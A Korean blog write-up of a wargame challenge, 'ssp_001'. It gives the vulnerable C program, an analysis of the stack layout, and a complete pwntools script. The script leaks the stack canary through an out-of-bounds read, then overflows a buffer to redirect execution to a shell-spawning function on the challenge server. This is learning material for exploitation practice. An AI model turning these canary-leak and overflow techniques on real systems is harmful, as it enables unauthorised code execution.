IT/Wargame

[System Hacking] ssp_001

kykyky 2024. 3. 7. 00:32

Description

 

Stack Smashing Protector 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.

 

 

소스코드: ssp_001.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

 

풀이

 

 

✅ 스택 프레임 구조 파악

 

main 함수의 disassemble 결과는 아래와 같다.

 

 

 

 

payload를 통해 Return address를 조작하려면, 당연히 main 함수가 끝나는 return에 도달해야 하므로,

case 'E'에서 name 변수를 통해 payload를 전달한 뒤 return을 맞이하면 된다.

 

 

위 어셈블리 코드를 분석하면 

 

canary의 위치는 ebp-0x8 (canary의 크기는  4바이트 뿐인데 비해 ebp와의 거리는 8바이트나 되므로, 4바이트의 dummy가 껴있음을 추론 가능), 

box의 위치는 ebp-0x88,

name의 위치는 ebp-0x48이다.

 

※ 근거가?

 

Canary 삽입되는 코드

 

 

box 초기화되는 코드

 

 

name 초기화되는 코드

 

 

 

따라서 스택의 구조를 파악하면 아래와 같다.

higher address
...
Return address (0x04바이트)
SFP (0x04바이트)
dummy (0x04바이트)
Canary (0x04바이트)
name (0x40바이트)
box (0x40바이트)
...
lower address

 

 

 

✅ Payload 구성

 

 

따라서 나의 payload는 아래와 같다.

 

get_shell 함수의 주소 (Return address 위치에 덮어씌워질)

+

쓰레기 값 (SFP와 dummy ``)

+

Canary 값 (Canary ``)

+

쓰레기 값 (name ``)

 

 

 

✅ Canary 값 파악

 

 

box 배열의 idx를 적절히 설정해 box[idx]를 출력함으로써 Canary 값을 유출해 낼 것이다.

 

idx를 설정하기 위해서는 box와 Canary 사이의 거리를 알아야 한다.

그 거리는

Canary의 주소 - box의 주소

= (ebp-0x8) - (ebp-0x88)

= 0x80 = 128바이트이다.

 

따라서, 

box[128] ~ box[131]을 출력하면 Canary이다.

 

 

 

Exploit

 

from pwn import *

p = remote("host3.dreamhack.games", 13858)
e = ELF("./ssp_001")

# get_shell 함수 주소 파악

get_shell_addr = e.symbols["get_shell"]

# Canary leak

p.recvuntil("> ")

def canary_leak(idx):
	p.sendline(b"P")
	
	p.recvuntil(": ")
	p.sendline(str(idx))

	p.recvuntil("is : ")
	return p.recv()[:2]

canary = b"0x"
canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)

canary = int(canary, 16)

# payload  구성

payload = b"\x41" * 64 # dummy @ name
payload += p32(canary) # 알아낸 canary @ canary
payload += b"\x41" * 8 # dummy @ dummy, SFP
payload += p32(get_shell_addr) # get_shell 함수의 주소 @ return address

# payload 전송

p.sendline("E")

p.recvuntil("Size : ")
p.sendline(str(len(payload)))

p.recvuntil("Name : ")
p.sendline(payload)

p.interactive()